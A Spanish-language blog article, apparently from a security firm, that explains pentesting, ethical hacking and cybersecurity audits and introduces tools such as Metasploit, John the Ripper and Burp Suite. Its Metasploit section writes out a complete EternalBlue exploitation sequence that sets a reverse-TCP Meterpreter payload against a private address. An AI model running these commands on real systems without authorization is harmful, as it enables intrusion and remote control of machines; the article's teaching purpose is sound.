Antes de entrar en materia, es importante repasar algunos términos clave con el fin de poner cada cosa en su contexto. Comencemos revisando los siguientes conceptos: Pentesting, Hacking Ético y Auditoría de Ciberseguridad y cuál es la relación entre ellos.
El pentesting o test de penetración, es un método esencial en el ámbito de la ciberseguridad mediante el cual evaluamos de forma proactiva la seguridad de un sistema, red o aplicación informática, simulando ataques controlados. El objetivo principal de un pentesting es, por tanto, identificar cualquier punto débil y corregir las vulnerabilidades antes de que puedan ser explotadas.
Otras maneras de referirse al Pentesting son: Penetration Testing, Penetration Tests, Test de Intrusión, Prueba de Intrusión o Pentest.
Un pentester es un especialista en pruebas de penetración, que utiliza métodos éticos para identificar y aprovechar vulnerabilidades en el sistema con el permiso del propietario, replicando así las tácticas que podrían ser empleadas por ciberdelincuentes. Por lo tanto, es alguien que es contratado para probar la seguridad de una organización, con el fin de verificar cuan vulnerables son los sistemas de la misma mediante la simulación de un ataque.
El objetivo fundamental del pentesting es proporcionar una visión detallada de los posibles puntos débiles de una empresa u organismo, permitiendo la toma de medidas preventivas antes de que puedan ser explotados por amenazas reales. A través de pruebas meticulosas, se evalúa la resistencia del sistema frente a diversos escenarios de ataque, desde intrusiones externas hasta amenazas internas.
No hay que confundir el pentesting con un simple escaneo de vulnerabilidades, este último se basa en pruebas reducidas y muy concretas con el fin de identificar vulnerabilidades y no va mucho más allá, por lo que obviamente aporta poco valor.
Tabla de Contenidos
Una auditoría de ciberseguridad es un proceso integral, amplio y sistemático, que se realiza para evaluar, entender y mejorar la postura de seguridad de una organización. Incluye la revisión exhaustiva de las políticas, procedimientos, controles y prácticas de seguridad de una organización.
Este enfoque abarca aspectos como la gestión de riesgos, el cumplimiento normativo, la configuración de políticas de seguridad y la revisión de la arquitectura de red, entre otros.
Por otro lado, el pentesting se centra específicamente en simular ataques controlados para identificar y explotar vulnerabilidades en sistemas, redes y aplicaciones. A diferencia de la auditoría, el pentesting es más táctico y se ejecuta con el objetivo de descubrir de manera proactiva posibles brechas de seguridad. Este proceso práctico ayuda a comprender cómo podrían actuar los atacantes reales y a evaluar la efectividad de las defensas implementadas.
El pentesting a menudo se incluye como una evaluación que se utiliza durante una auditoría de ciberseguridad más amplia.
Mientras que la auditoría proporciona una visión general y estructurada, el pentesting aporta una perspectiva más técnica y específica sobre la capacidad de un sistema para resistir ataques reales.
El hacking ético es una práctica en la que un individuo (conocido como hacker ético) utiliza las mismas técnicas que emplearían los hackers malintencionados, pero con un fin diametralmente opuesto: intenta penetrar en un sistema, red o aplicación, con el permiso del propietario, para identificar vulnerabilidades y debilidades antes de que sean explotadas por los ciberdelincuentes.
El hacking ético se lleva a cabo siguiendo un método organizado y sistemático, cuyo fin es evaluar el estado de seguridad y detectar las vulnerabilidades de los sistemas de una empresa u organización frente a un posible ataque.
Una auditoría de seguridad es un proceso más amplio que evalúa la postura de seguridad general de una organización, por lo que se realizan exámenes exhaustivos de la seguridad informática, que abarcan desde la infraestructura física hasta los sistemas y aplicaciones.
Una auditoría siempre se debe llevar a cabo con la autorización previa por escrito por parte de la organización que se va a someter a ella.
Durante la fase de pruebas de seguridad de una auditoría, un hacker ético puede realizar un pentesting para identificar vulnerabilidades en los sistemas, redes o aplicaciones de la organización. El hacking ético puede ser una parte de una auditoría de seguridad, jugando un papel fundamental en la misma, al complementar la evaluación teórica con pruebas prácticas
El hacking ético es un término más amplio que abarca diversas prácticas y técnicas para mejorar la seguridad informática con el permiso del propietario. Los hackers éticos utilizan una variedad de métodos y técnicas incluyendo el pentesting (pero no limitado a él), para identificar y corregir vulnerabilidades. El hacking ético puede incluir por tanto actividades más allá de las pruebas de penetración, como análisis de vulnerabilidades y de código, evaluaciones de seguridad en el diseño y revisión de políticas de seguridad, ingeniería social, etc.
Podemos decir que el pentesting es una técnica específica dentro del hacking ético, que se centra en la realización de pruebas de penetración, simulando ataques reales para encontrar y explotar vulnerabilidades en sistemas informáticos. El hacking ético es un conjunto de herramientas, siendo el pentesting una de esas herramientas, que es específica para realizar pruebas de penetración.
Pentesting (Pruebas de Penetración): Metodología centrada en simular ataques controlados para identificar y explotar vulnerabilidades específicas en sistemas, redes y aplicaciones. Su alcance es más técnico y táctico, evaluando la resistencia del sistema frente a ataques específicos. Implica fases como recopilación de información, análisis de vulnerabilidades, explotación controlada y elaboración de informes.
Hacking Ético: Aborda prácticas éticas y legales de hacking con el objetivo de identificar y corregir vulnerabilidades en sistemas y redes. Es más amplio que el pentesting, incluyendo análisis de código, evaluación de diseño de seguridad, revisión de políticas de seguridad ingeniería social, etc. Incorpora principios éticos y legales en el uso de habilidades de hacking, siguiendo un código de conducta específico. El hacking ético es un por tanto método profundo que verifica de forma efectiva la seguridad de una empresa u organización.
Auditoría de Ciberseguridad: Evalúa de manera integral todos los aspectos relacionados con la seguridad de la información en una organización, considerando aspectos no solo técnicos sino también organizativos y de procesos, incluyendo políticas, procedimientos y controles técnicos. Utiliza un enfoque estructurado para revisar la postura general de ciberseguridad, garantizar el cumplimiento normativo y proporcionar recomendaciones para mejorar la seguridad.
Antes de continuar, es interesante mencionar a dos grupos implicados estrechamente en la ciberseguridad: Blue Team (encargado de la seguridad defensiva) y Red Team (responsable de la seguridad ofensiva).
El equipo de Blue Team trabaja dentro de una organización y realiza seguridad defensiva. Este grupo se encarga de realizar entre otras funciones, el bastionado de sistemas y servidores (lo que se conoce como hardening). Es un grupo dedicado a la defensa y a la protección y como tal, realiza configuraciones de seguridad, políticas de contraseñas, delimitación de privilegios de grupos y usuarios, evaluaciones de posibles amenazas, monitorización de la red. Su labor es por tanto proactiva.

El equipo de Red Team realiza seguridad ofensiva y, por tanto, intentará atacar los sistemas de una organización, hackearlos y conseguir accesos que no debería tener. Para ello empleará herramientas que les permitan explotar las vulnerabilidades de seguridad de dichos sistemas.

Podemos decir que muchas de las acciones y funciones que lleva a cabo un Pentester se solapan con las que realiza un equipo de Red Team, pero no son exactamente lo mismo. Los miembros de un Red Team emularán las acciones de un atacante, para que el equipo de Blue Team de la compañía pueda evaluar de manera más objetiva, cual es la capacidad de protección real que tienen ante distintas amenazas. Un Pentester sigue un procedimiento centrado en tests de penetración con una metodología definida, pudiendo estar enmarcada dentro de una auditoría de seguridad y que debe finalizar con la generación de un informe, que contenga los hallazgos detectados y los detalles de todas las vulnerabilidades descubiertas.
Un profesional de pruebas de penetración, debe conocer una amplia variedad de herramientas para identificar y explotar vulnerabilidades en sistemas, redes y aplicaciones. Para elegir las más adecuadas se deben tener en cuenta factores como:
El tipo de prueba de penetración que se va a realizar.
Los objetivos de la prueba.
El alcance y los requisitos específicos de cada caso
El nivel de experiencia del Pentester.
El presupuesto disponible.
Es importante destacar, que la ética y la legalidad son fundamentales al utilizar estas herramientas. Un pentester debe seguir prácticas seguras y autorizadas en todas las fases de su trabajo.
Algunas de las herramientas más comúnmente utilizadas están incluidas en la conocida distribución Kali Linux. De hecho, si vamos a su página: https://www.kali.org, en ella indican:
The most advanced Penetration Testing Distribution
Kali Linux es una distribución basada en Debian GNU/Linux, especializada para pruebas de seguridad y hacking ético, que viene con una gran cantidad de herramientas de pruebas de penetración preinstaladas, pero aparte se pueden instalar más.
Algunas de las herramientas más comúnmente utilizadas por los pentesters son:
Nmap: Es una herramienta de escaneo de red que puede descubrir hosts y servicios en una red informática.
Metasploit: Es una plataforma de código abierto para desarrollo y ejecución de exploits y explotación de vulnerabilidades.
Burp Suite: Es una herramienta comercial para la interceptación y el análisis de tráfico web. Permite realizar pruebas de seguridad de aplicaciones web que incluye desde escáneres de vulnerabilidades, hasta herramientas de manipulación de solicitudes HTTP.
OWASP ZAP: Es una herramienta de código abierto para realizar pruebas de seguridad de aplicaciones web, que ayuda a encontrar vulnerabilidades en las mismas.
John the Ripper: Una herramienta gratuita y de código abierto de cracking de contraseñas, que es muy popular entre los pentesters, preparada para ataques de fuerza bruta o ataques de diccionario.
Nessus: Es una herramienta comercial para el escaneo de seguridad, evaluación e identificación de vulnerabilidades.
OpenVAS: Es una herramienta gratuita y de código abierto para el escaneo e identificación de vulnerabilidades en sistemas y redes.
Aircrack-ng: Herramienta de código abierto para para auditorías de seguridad en redes Wi-Fi.
Wireshark: En un analizador de protocolos de red que permite capturar y examinar detalladamente el tráfico en una red.
Dada su versatilidad y potencia, profundizaremos un poco más en las siguientes herramientas: Mestasploit, John the ripper y Burp Suite.
Metasploit es una plataforma de código abierto, creada por la empresa Rapid7 y por una comunidad que se encarga de mantenerla. Metasploit es muy conocido por su enorme potencial a la hora de realizar pentesting, ya que cuenta con frameworks, exploits y herramientas de kacking, con las cuales es posible explotar vulnerabilidades. Dispone también de una parte de reconocimiento y emplea código de explotación escrito en Ruby.
Aunque Metasploit dispone de dos interfaces de usuario: msfconsole y armitage, la más utilizada es msfconsole, que es una consola por comandos. Armitage es una creación de terceros y funciona en modo gráfico.
Estando en Kali Linux arrancamos la consola de Metasploit:

Utilizando el comando show -h podemos ver el listado de todas las opciones que nos permite la consola msfconsole de Metasploit, para hacernos una idea del potencial que tiene:

Como podemos observar, vamos a poder listar entre otros, los exploits, payloads y plugins de que dispone esta herramienta tan potente.
Si quisiéramos localizar un tipo de exploit concreto que lleve a cabo las funciones que necesitamos en un momento determinado, tendríamos que emplear unos criterios para dicha búsqueda y eso nos lo permite el comando search con los términos apropiados.
Por ejemplo, vamos a buscar los exploits que tienen conexión de meterpreter en reversa con lo que normalmente se rompe un sistema Windows. Para ello pondríamos:
Msf6 > search platform:windows type:exploit payload:windows/meterpreter/reverse_tcp

Este comando buscará exploits que se dirigen a la plataforma Windows (platform:windows), que son de tipo exploit (type:exploit), y que utilizan una carga útil de Meterpreter en reversa TCP (payload:windows/meterpreter/reverse_tcp).
Al lanzar ese comando, metaesploit se conecta a la base de datos, pero va a buscar única y exclusivamente los exploits que hagan lo que le estamos indicando.
Un comando interesante de Metasploit es db_nmap, que permite integrar la funcionalidad de nmap directamente en Metasploit. Veamos como con un ejemplo cómo se puede usar este comando y lo que hace:
Msf6 > db_nmap -sV -O 192.168.1.0/24

Este comando realiza un escaneo de nmap y guarda los resultados en la base de datos de Metasploit para su posterior análisis.
Veamos lo que hace cada parte del comando:
db_nmap: Este es el comando principal que le indica a Metasploit que ejecute nmap y guarde los resultados en la base de datos.
-sV: Esta opción es para indicar a nmap que realice un escaneo de versión. Esto significa que nmap intentará determinar la versión de los servicios que está ejecutando cada host.
-O: Esta opción es para indicar a nmap que intente determinar el sistema operativo que está ejecutando cada host.
192.168.1.0/24: Esta es la red objetivo que se va a escanear. En este ejemplo, se escaneará toda la subred 192.168.1.0/24.
Si quisiéramos utilizar un exploit concreto, con una carga útil específica y opciones personalizadas en Metasploit, se podrían emplear los siguientes comandos de ejemplo:
El siguiente comando, por ejemplo, selecciona el exploit EternalBlue para ser utilizado:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
El siguiente comando establece la dirección IP del objetivo (RHOSTS) a 192.168.1.10:
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
El siguiente comando establece la carga útil (PAYLOAD) a utilizar. En este caso, se utiliza una carga útil de Meterpreter en reversa TCP para sistemas Windows de 64 bits:
msf exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
El siguiente comando establece la dirección IP del host local (LHOST) a 192.168.1.5. Esta es la dirección IP a la que la carga útil de Meterpreter en reversa TCP intentará conectarse después de explotar la vulnerabilidad:
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5
El siguiente comando ejecuta el exploit con las opciones configuradas:
msf exploit(windows/smb/ms17_010_eternalblue) > exploit

A modo de curiosidad y para quien quiera ir un paso más allá, se puede emplear también Metasploitable3, que es una máquina virtual desarrollada por Rapid7. Como explicamos antes, Rapid7 desarrolló un software llamado Metasploit, que es muy famoso en el mundo de la ciberseguridad. Lo que han hecho con Metasploitable3 es crear una máquina con una gran cantidad de software con exploits conocidos.
El proyecto de Metasploitable3 lo podemos encontrar en el siguiente enlace: https://github.com/rapid7/metasploitable3
Ahí indican que Metasploitable3 es una Máquina Virtual construida desde cero con una gran cantidad de vulnerabilidades de seguridad, que está destinado a ser utilizado como un objetivo para probar exploits con Metasploit.
¿Qué lleva Metasploitable3?
Metasploitable3 viene preparado con una gran cantidad de software vulnerable, que al final supone un entorno muy amplio y diverso para hacer pruebas. En esta máquina virtual entre otros tenemos:
Un MySQL (el super conocido sistema de gestión de bases de datos relacional)
Un Jenkins, que es una aplicación web dedicada a desarrollo. Jenkins es un servidor de automatización open source escrito en Java, que ayuda en la automatización de parte del proceso de desarrollo de software.
Distinto software de Apache: Incluye apache tomcat, que es un contenedor web de código abierto.
John the ripper constituye una potente herramienta de criptografía, que puede emplear fuerza bruta para el cracking de contraseñas, pudiendo romper diferentes algoritmos de cifrado como MD5, SHA-1, DES, etc.
Es importante destacar que esta herramienta permite personalizar el algoritmo de descifrado de contraseñas a través de reglas concretas (añadir símbolos, sustituciones de números y letras por símbolos, etc). John de Ripper también es capaz de detectar el cifrado de un hash, y en Kali Linux podemos encontrar no solo la versión en modo comando sino también una interfaz gráfica llamada Johnny.

Al ejecutar Johnny accedemos a la GUI (Graphical User Interface) de la herramienta John the Ripper:

Si vamos a la pestaña Options, podemos ver los modos de ataque (Attack Mode):

Hay que tener en cuenta que romper una contraseña utilizando fuerza bruta puede llevar muchísimo tiempo, así que en muchas ocasiones usamos el ataque Wordlist.

En el ataque Wordlist, se proporciona una lista de palabras que contiene un registro de contraseñas de uso común para el ataque. La herramienta primero averigua la técnica de cifrado utilizada en el hash suministrado, y luego calcula el hash correspondiente de cada palabra en la lista proporcionada y lo compara con el hash que necesita ser descifrado.
Burp Suite es una herramienta muy completa con un módulo de reconocimiento y análisis de seguridad de aplicaciones web.
Algunas de las funciones básicas más importantes de Burp Suite son:
Servidor proxy que permite examinar e interceptar el tráfico entre el navegador y la aplicación.
El decoder, gracias al cual se pueden transformar datos codificados a texto claro o viceversa. Permite distintos tipos de codificaciones.
Intruder, que es una herramienta de intrusión con la que poder llevar a cabo poderosos ataques automáticos con el fin de identificar y explotar vulnerabilidades.
Burp Suite ha sido creada por la empresa PortSwigger y está desarrollada en Java. Podemos encontrar Burp Suite ya preinstalada en Kali Linux, pero si estamos en otra plataforma no hay problema, pues esta herramienta es multiplataforma y la podemos descargar e instalar en diferentes sistemas operativos.
Vayamos ahora a Kali Linux y arranquemos la versión gratuita de Burp Suite (Communitity Edition). Podemos arrancarla de varias maneras. Si estamos en Kali Linux podemos pinchar en:

Otra forma es ir a un terminal de Kali Linux y poner:

Con cualquiera de esas opciones se abrirá Burp Suite.

En la versión Community (gratuita) podremos habilitar un proyecto temporal:

Una vez cargado todo, nos encontramos con la siguiente interfaz al inicializar esta herramienta:

Dado que Burp Suite es esencialmente un servidor proxy de interceptación, eso implica que es una herramienta que se coloca en el medio entre el navegador web y la aplicación que se quiere evaluar. Para interceptar y modificar solicitudes HTTP, hay que registrar el tráfico del navegador web y para ello se pueden seguir los siguientes pasos:
Configuración manual del proxy: Primero hay que configurar el navegador para que utilice Burp Suite como su proxy (indicar en el navegador la Ip y puerto que hayamos configurado en Burp Suite.). Esto se hace generalmente en la configuración de red del navegador, donde se puede especificar el localhost (IP por defecto 127.0.0.1) como el servidor proxy y 8080 como el puerto (que son los valores predeterminados de Burp Suite).
Interceptar solicitudes: Una vez que el navegador está configurado para usar Burp Suite como su proxy, se puede ir a la pestaña “Proxy” y luego a la subpestaña “Intercept” en Burp Suite y hacer clic en el botón “Intercept is on”. De esta manera, cuando naveguemos por la web en el navegador, las solicitudes HTTP se detendrán en Burp Suite.
Modificar solicitudes: Una vez interceptada una solicitud, se puede modificar antes de que se envíe al servidor. Por ejemplo, se pueden cambiar los parámetros de una solicitud GET o los datos de una solicitud POST. Una vez hechos los cambios, se puede hacer clic en “Forward” para enviar la solicitud al servidor.
Analizar respuestas: Después de que la solicitud modificada se envía, la respuesta del servidor también se interceptará en Burp Suite, pudiéndose analizar esta respuesta para ver los resultados de la prueba realizada.
Burp Suit ofrece muchas otras funciones, como escaneo de vulnerabilidades, repetición de solicitudes y secuenciación de sesiones.
La intención de este artículo ha sido arrojar un poco de luz a la hora de comprender mejor las funciones que se realizan en el desarrollo de un pentesting y su estrecha relación con el hacking ético y las auditorías de ciberseguridad.
Contacto:
657 216 711 / 613 396 385 / 919 409 418
info@securityinthenet.com